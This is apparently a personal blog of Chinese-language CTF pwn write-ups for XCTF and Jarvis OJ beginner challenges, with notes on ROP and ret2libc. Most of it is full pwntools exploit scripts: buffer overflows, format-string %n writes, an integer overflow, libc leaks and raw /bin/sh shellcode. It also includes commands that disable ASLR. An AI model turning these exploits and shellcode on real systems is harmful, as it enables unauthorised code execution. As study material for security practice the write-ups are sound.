bin_sh_addr=0x0804a080

payload='a'*42+p32(sys_addr)+p32(0)+p32(bin_sh_addr)
io.recvuntil("leave some message here:")
io.sendline(payload)
io.interactive()

checksec

攻防世界-新手

Posted on 2019-08-17 | Edited on 2019-09-29 | In pwn

参考的一系列文章:

https://blog.csdn.net/weixin_44319142/article/details/89077831
感谢!
后面每题也根据不同的writeup写出来的

get_shell

直接运行就可以了,看代码就发现会直接运行system函数,所以直接运行就ok
checksec
直接拿到权限了,看来还是要写 exp,远程连接下
cyberpeace{057e59b4709123764babf99e2f5422c5}

–·

level2 (NX-ROP入门)

参考:

[原创]XCTF攻防世界 level2
攻防世界——pwn(2)
level2

解题

题目比较简单

只开了NX,函数也就一个,并且有read函数,存在溢出。
可以通过
leve2-l2py
leve2-l2py
在IDA中,找到字符串窗口,可以搜索到“/bin/sh”的地址。
leve2-l2py
因为本身有system函数,也能找到sysytem函数的地址。这就为解题减轻难度。
leve2-l2py
还有就是填充的长度,可以通过IDA中的【ebp-88h】知道栈空间为88h再加上ebp的4(32位下),所以填充大小就是88h+4

原理方面就是,想办法让他调用system(“/bin/sh”)
payload: 填充数据+p32(system_addr)+p32(sys的返回地址,实际上无所谓)+p32(/bin/sh作为sys的参数)
即:我们可以构造一个system(“/bin/sh”)的伪栈帧,vulnerable_function()执行结束后返回到我们构造的伪栈帧去执行system(“bin/sh”),这样就可以获取shell。(需要注意一点,因为我们的目的是通过system(“bin/sh”)来获取shell,所以函数执行完后的返回地址可以任意。)

exp

l2.py

1
2
3
4
5
6
7
8
9
10
![leve2-level2py](D:\blog\betterlh\source\_posts\攻防世界-新手\leve2-level2py.GIF)from pwn import *
context.log_level="debug"
system_addr=0x08048320
bin_sh=0x0804A024
p=process("./level2")
p=remote("111.198.29.45",59415)
p.recvline()
payload="A"*0x88+"A"*4+p32(system_addr)+p32(0xdeedbeef)+p32(bin_sh)
p.sendline(payload)
p.interactive()

leve2-l2py

level2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'

elf = ELF('./level2')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()

payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)

io = remote("111.198.29.45",41527)
io.sendlineafter("Input:\n",payload)
io.interactive()
io.close()

leve2-l2py

补充:无/bin/sh

补充一下,如果里面没有/bin/sh要自己写入的话

利用read函数写入”/bin/sh”的重点是构造这个payload模块:

padding1 + address of read + address of system + p32(0)+p32(addr_bss)+p32(10)

其中,address of system为read函数调用完后的返回地址,p32(0),p32(addr_bss),p32(10)为传给read函数的三个参数,p32(addr_bss)将存入”/bin/sh\x00”。

原文链接:https://blog.csdn.net/weixin_44319142/article/details/89107325

如果是64位的话就不一样了
同样可以利用IDA来查找system的地址以及/bin/sh的地址

NX机制及绕过策略-ROP64位
level2
攻防世界level2 x_64位


level0

checksec
只有NX,64位

看代码,没啥东西,一个write一个read。存在system

exp

1
2
3
4
5
6
7
from pwn import *
p = process('./level0')
# p = remote("111.198.29.45","31008")
call_system = 0x400596
payload = 0x88*'a' + p64(call_system)
p.sendline(payload)
p.interactive()


hello_pwn

checksec
checksec
只有NX,可以尝试64位NX绕过

看到代码里 有个if条件,估计是从这里入手
checksec
可以看到只要满足if条件,就可以获取到flag
checksec
可以看出,这个地址和上面read函数的参数连着的,只差4,所以填充4就好

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
#! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'

elf = ELF('./hello_pwn')

payload = 'A' *4 + p32(1853186401)

io = remote("111.198.29.45",41431)
io.sendlineafter("bof",payload)
io.interactive()
io.close()


born

64位
checksec

这题看它的伪代码就可以知道要让v5这个值等于对应的数值就可以了。但是他在前面又不让你等于这个数,怎么办?
认真看可以发现他是先输入v5的值,再输入v4的值,那么一开始v5的值不等于1926就好了,然后用v4溢出覆盖v5(地址刚好连续,只差8),这个时候就可以满足条件了
通过IDA 可以发现这两个值的地址(var20和var18)
checksec

exp:

1
2
3
4
5
6
7
8
9
10
#! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = process("./born")
p=remote("111.198.29.45",59781)
p.sendlineafter("Birth?",str(1999))
payload="A"*8+p32(1926)
p.sendlineafter("What's Your Name?\n",payload)
p.interactive()

1
2
3
4
5
6
7
from pwn import *
p=remote('111.198.29.45',35721)
payload='a'*8+p64(1926)
p.recvuntil('Your Birth?')
p.sendline('1999')
p.sendline(payload)
p.interactive()

CGfsb

这是一道格式字符串漏洞
checksec
checksec
只要pwnme=8,就会cat flag
这里有个printf格式化字符串漏洞,利用这个可以将pwnme(地址直接用IDA就找到了)的值给覆盖成题目需要的值8
checksec
用gdb调试,发现它的位置在11(实际上是10因为第一个是我们的格式化字符串,这个是不会打印出来的)
payload:
pwnme 的地址占了4位数,然后我们在输入4个a就有8位了。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level="debug"
elf=ELF("./CGfsb")
#p=process("./CGfsb")

p=remote("111.198.29.45",54477)
pwnme=0x0804a068

p.sendlineafter("name:","aaaa")

payload=p32(pwnme)+'aaaa%10$n'
p.sendlineafter("please:",payload)


p.interactive()

checksec

CGpwn2

这题好像是一个简单的溢出
有用的代码是这里
checksec
这里有个fget函数,以及存在漏洞的gets函数。
这里的name是全局变量,name 的地址0804A080
可以看到这题有system函数,但是没有/bin/sh,要想办法构造,这里可以直接写道全局变量name中,到时候system函数调用时,再用它的首地址作为参数就行了。
利用get的溢出,让eip为system的地址,这里可以使用pattern工具来找溢出点IDA上可以看到s是ebp-26h也可以知道是26h+4=42。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!usr/bin/python
from pwn import *
context.log_level = 'debug'
#io = remote("111.198.29.45",39409)
io = process("./cgpwn2")


elf=ELF("./cgpwn2")

sys_addr=elf.symbols['system']
#sys_addr = 0x08048420
io.recvuntil("your name")
io.sendline("/bin/sh")
bin_sh_addr=0x0804a080

payload='a'*42+p32(sys_addr)+p32(0)+p32(bin_sh_addr)
io.recvuntil("leave some message here:")
io.sendline(payload)
io.interactive()

checksec


int_overflow

checksec
惯例看下,32位的,有NX

checksec
关键地方在这,前面的没有用。
从题目名字我们就可以猜到是整数溢出。结合代码中的strlen(s)这个函数。
我们需要进入到else里,所以我们要让输入的长度在4-8之间。那应该是要利用溢出。
最后一个 result = strcpy(&dest, s); 应该要利用上。感觉是利用最后一个溢出,调用system函数,毕竟程序里有,但是没有/bin/sh,而且没有read函数让你读进去
看题解发现,没有找到一个重要的函数,在函数窗口,有一个 what_is_this这个函数。点开一看,这就是flag所在。所以想办法调用这个函数就结束了。
通过char dest; // [esp+4h] [ebp-14h],溢出点是14h+4=24。eip地址写成我们需要的what_is_this函数的4位数地址
那我们此时输入的数已经有28(24+4)个了,已经不满足if条件,所以我们就要让字节数溢出
计算需要填充的长度:s的长度v3unsigned __int8 v3; // [esp+Fh] [ebp-9h] v3最大值为2的8次方-1=255.260由于溢出(无符号数回绕)实际上是4.因此我们实际的payload总共长度为260-265. 以260为例:后面需要填充的字节就为260-28
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#elf=ELF("./int_over_flow")
#p=process("int_overflow")
p=remote("111.198.29.45",56199)

system_addr=0x0804868b
p.sendlineafter("Your choice:","1")
p.sendlineafter("Please input your username:","aaaa")
##到达目标函数,进入正题


payload="A"*24+p32(system_addr)+'A'*(260-24-4) ##260~265
p.sendlineafter("Please input your passwd:",payload)

p.interactive()

checksec

string

checksec

找突破口
checksec
执行这条语句的条件是*a1 == a1[1],a1为传入的参数,
回溯发现a1即sub_400D72函数传入的v4,而v4 = (__int64)v3,其中

checksec
*v3 = 68; #即v3[0] = 68;
v3[1] = 85;

也就是说要使a1 == a1[1],则需要v3 == v3[1]。

还有可以利用的代码
checksec

通过这个格式化字符串漏洞,我们可以令v3的值等于v3【1】从而满足if 的条件进入
checksec
题目已经告诉我们v4的地址了。那我们修改v4的值就好了
之后我们想清楚逻辑关系,写exp

补充:
strcmp函数是string compare(字符串比较)的缩写,用于比较两个字符串并根据比较结果返回整数。基本形式为strcmp(str1,str2),若str1=str2,则返回零;若str1<str2,则返回负数;若str1>str2,则返回正数。 [1-2]
通过逻辑关系知道,我们前面分别要输入east和1达到sub_400BB9函数。也就是格式化字符串漏洞那里
checksec

v3addr = int(p.recvuntil(“\n”),16) #获取v3地址,后16
寻找格式化字符串的位置

我们先是 puts("'Give me an address'");这行后面输了个5,然后再puts("And, you wish is:");这后面输了AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
checksec
checksec
可以知道我们两次输入的地方分别在7,8这两个位置。如果我们把地址放在7这里,那就写$7n;如果是后面输入的地方,那就写$8n.
可以写exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#-*-coding:utf-8 -*-
from pwn import *
context.log_level="debug"

#p = process('./string')
p = remote("111.198.29.45","56536")

p.recvuntil("secret[0] is ")
addr = int(p.recvuntil("\n"),16) #v3地址
log.success("addr:"+hex(addr))
p.sendlineafter("be:\n","LH")
p.sendlineafter("up?:\n","east")
p.sendlineafter("leave(0)?:\n","1")
##前面都为逻辑关系,现在进入关键部分
p.sendlineafter("address\'\n", str(addr))
p.sendlineafter("is:\n", "%85c%7$n") ##将addr所指向的v3,改写成85
shellcode="\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.sendlineafter("SPELL\n",shellcode)


p.interactive()
p.close()

至于将地址和字符串写在同一个print漏洞函数这个办法,我没成功,在组合payload的时候报错。

参考文章:https://www.jianshu.com/p/457520f97a76


gues_number

解题


这题好像开的挺多
看下代码,发现只要连续猜对10次v7取的随机数,就拿到flag了。这里的突破口应该是在rand,seed这样的伪随机数上。

这里存在一个gets漏洞函数,可以利用溢出。但是题目有candy和NX所以,不能直接栈溢出到sub_C3E函数

查看地址


可以看到v7和seed的地址是连续的,差20h
用v7覆盖掉seed来控制随机数。
理一下思路,利用v7覆盖seed[0],使seed[0]已知,然后循环,然后直接拿flag就好了

关于rand和srand

随机函数生成的随机数并不是真的随机数,他们只是在一定范围内随机,实际上是一段数字的循环,这些数字取决于随机种子。在调用rand()函数时,必须先利用srand()设好随机数种子,如果未设随机数种子,rand()在调用时会自动设随机数种子为1。
对于该题目,我们将随机种子设置为0或1都可,参考文件中的循环来写脚本。

关于ctype库与dll

我们使用python标准库中自带的ctypes模块进行python和c的混合编程

libc共享库

可以使用ldd查找

1
2
3
4
linhua@linhua-virtual-machine:~/桌面/攻防世界/guess_nume$ ldd guess_num
linux-vdso.so.1 (0x00007fffaf6de000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9acf1ca000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9acf7be000)

也可以在脚本中通过elf文件查找
elf = ELF(‘./guess_num’)
libc = elf.libc

参考:
链接:https://www.jianshu.com/p/0bc6c65addfd


level3


32位

题目的代码很简洁,主要就两行
也没有system函数,和其他获取falg的函数。应该是要用其他的函数,来间接获取的system的地址。
read函数这里可以溢出,

参考https://www.jianshu.com/p/4b3fd7328f20

思路分析

无libc文件,无sys函数,无binsh字符串,有read和write函数,很明显的ret2libc
原理:system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。用工具来找到对应的libc文件

具体思路:
第一次溢出返回到write函数执行write(1,write_got,4)得到write的真实地址,计算得到system跟”/bin/sh”的真实地址,然后再返回到vulnerable_function函数,第二次回到溢出点,覆盖返回地址到system执行system(“/bin/sh”)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding:utf-8 -*-  
from pwn import *
from LibcSearcher import LibcSearcher
p=remote("111.198.29.45",44145)
elf = ELF("./level3")
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
got_write = elf.got['write']
vul_func = 0x0804844b #这里用main_addr = elf.symbols['main'] 返回主函数也是可以滴
payload = 'A' * 140 + p32(plt_write) + p32(vul_func) + p32(1) + p32(got_write) + p32(4)
p.recvuntil('Input:\n')#这句千万不能漏了,逻辑出问题就会执行不了,这句的意思就是调用执行嘛,然后就把payload写进去就可以达到目的哟
p.send(payload)
write_addr = u32(p.recv(4))
print hex(write_addr)

libc = LibcSearcher('write', write_addr)
offset = write_addr - libc.dump('write') ##感觉这个就像是libc_base,libc的基地址,我这么理解的
system_addr = offset + libc.dump('system')
binsh_addr = offset + libc.dump('str_bin_sh')
payload1 = 'a' * 140 + p32(system_addr) + p32(plt_read) + p32(binsh_addr)
p.recvuntil('Input:\n')
p.send(payload1)
p.interactive()

pwn解题

Posted on 2019-08-14 | In pwn

参考文章:https://blog.csdn.net/qq_41725312/article/details/90748436

1.通过下断点,在gdb直接使用print 命令查找地址。print

2.通过pattern命令填充数据,来确定填充位数。

pattern

然后通过找eip的值,确定偏移

pattern1

3.通过string和readelf查找s

readelf

4.通过x 命令来查看地址,用来确认地址

5.查看代码

查看

layout 可以显示反汇编代码

6.ldd 查看libc文件相关信息

ldd

7.ROP插件查找

ROP插件查找

8.pwntool

例如:

pwntool

dockers

Posted on 2019-08-05 | Edited on 2019-08-06

容器Docker详解

容器Docker详解

安装dockers中遇到的问题

1.安装完以为安装的有问题,其实好像没啥问题,是自己的操作不当,或者说没有认真思考。
在莫名获取到网络上的一个ubuntu镜像后,我尝试按着原先的命令
docker run -it -p 23946:23946 ubuntu/17.04.amd64 /bin/bash
竟然没有报错,看来是之前的那个镜像有问题。
我突然发现在镜像中,原先那个我导入的镜像(假的!!气死了)是不正确的,原因:size:0B 因为这个文件有问题,所以后面怎么做都错。

2.尝试正确导入镜像出现的问题:Error response from daemon: Error processing tar file(exit status 1): unexpected EOF

答案:你的tar文件真的是tar文件嘛
这个问题解决于:
https://stackoverflow.com/questions/54778817/creating-an-image-in-docker-from-a-tar-file-and-what-are-the-true-differences-i

你真的有一个tar文件吗?例如,可以tar tf qwertyapp.tar成功列出其内容吗? - David Maze

通过tar tf xx.tar 这个命令可以查看是否为tar


正常的压缩包

有问题的

重新认真搞了一下OK了

3.问题:Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?

答案:重启后dockers没有启动。
Docker 报错:Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon r
开启dockers服务:
systemctl start docker

捣鼓完好像终于可以用了


导入镜像,大小正常

没有报错,nice

NX机制及绕过策略-ROP(含无libc)

Posted on 2019-07-23 | Edited on 2019-08-17 | In pwn

NX机制及绕过策略-ROP

参考文章
一篇文章带你清晰地理解 ROP 绕过 NX 技术
NX机制及绕过策略-ROP



参考文章先做个测试
1.源码
文件名:StackOF.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>

void vul(char *msg)
{
char buffer[64];
memcpy(buffer,msg,128);
return;
}

int main()
{
puts("So plz give me your shellcode:");
char buffer[256];
memset(buffer,0,256);
read(0,buffer,256);
vul(buffer);
return 0;
}

2.编译

3.查看编译及保护

64位文件,NX开启

4.查看加载的libc文件及地址

PWN-无libc泄露(XDCTF2015-pwn200)

PWN-无libc泄露

技术分享】借助DynELF实现无libc的漏洞利用小结
xdctf 2015 pwn200 writeup


栈溢出练习

来自文章: 栈溢出练习
—- c

#include <stdio.h>

#include <string.h>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void vul(char *msg)
{
char buffer[64];
strcpy(buffer,msg);
return;
}

int main()
{
puts("So plz give me your shellcode:");
char buffer[256];
memset(buffer,0,256);
read(0,buffer,256);
vul(buffer);
return 0;
}

gcc编译:gcc -m32 -no-pie -fno-stack-protector -z execstack -o pwnme StackOF.c
最好加一条命令关闭系统的的地址随机化(需要root模式下)
echo 0 > /proc/sys/kernel/randomize_va_space

查找libc文件以及libc基地址
命令 ldd 文件名 例如:ldd pwnme

最终成功的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# encoding:utf-8
from pwn import *

p = process('./pwnme') #运行程序
p.recvuntil("shellcode:") #当接受到字符串'shellcode:'

#找jmp_esp_addr_offset
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
jmp_esp = asm('jmp esp')

jmp_esp_addr_offset = libc.search(jmp_esp).next()

if jmp_esp_addr_offset is None:
print 'Cannot find jmp_esp in libc'
else:
print hex(jmp_esp_addr_offset)

libc_base = 0xf7ddd000 #你找到的libc加载地址,别错了我使用root找到的才成功
jmp_esp_addr = libc_base + jmp_esp_addr_offset #相加得到jmp_esp_addr

print hex(jmp_esp_addr)


buf = 'A'*76 #如何得到填充数据大小
buf += p32(jmp_esp_addr)
buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

with open('poc','wb') as f:
f.write(buf)

p.sendline(buf) #发送构造后的buf

p.interactive()

如图:

之前老是不成功,在比对下我发现之后查找出的基地址竟然和我之前写的基地址不一样,改动了之后还是不行。意识到地址在变化,难道是因为没有地址随机化的原因?赶紧参照文章输入命令
echo 0 > /proc/sys/kernel/randomize_va_space
发现要特权模式,然后在root下再次查找发现基地址又不一样,再尝试,终于有了上图的成功!


#ROP之ret2libc
参考文章:
ROP之ret2libc
https://www.jianshu.com/p/c90530c910b0

pwn题(jarvis)

Posted on 2019-07-13 | Edited on 2019-07-14 | In pwn

level0

题目:
main函数:

1
2
3
4
5
    int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}

vulnerable_function()函数

1
2
3
4
5
6
    ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

return read(0, &buf, 0x200uLL);
}

read函数

1
2
3
4
ssize_t read(int fd, void *buf, size_t nbytes)
{
return read(fd, buf, nbytes);
}

这里 最关键的就是这个read函数了
明显可以发现,利用read函数进行操作。利用的是栈溢出(只有NX)保护

可以利用的system

只要用read函数,栈溢出,将IP地址覆盖为callsysetem的地址就行了
寻找这个callsysetem函数的地址

探索栈溢出的长度(rbp-0x80)

所以要覆盖的长度就是0x80+8 (rbp:64位下为8)
exp

1
2
3
4
5
6
7
8
#-*- coding:utf-8 -*-
from pwn import *
# p = process('./level0')
p = remote("pwn2.jarvisoj.com","9881")
callsystem = 0x400596
payload = 0x80*"A" + p64(0) + p64(callsystem)
p.sendline(payload)
p.interactive()

参考
https://blog.csdn.net/qq_42956710/article/details/81706009
https://blog.csdn.net/github_36788573/article/details/79980492

https://bbs.ichunqiu.com/thread-45542-1-1.html?from=sec

123…9

lh

89 posts
12 categories
© 2020 lh
Powered by Hexo v3.8.0
|
Theme – NexT.Pisces v6.7.0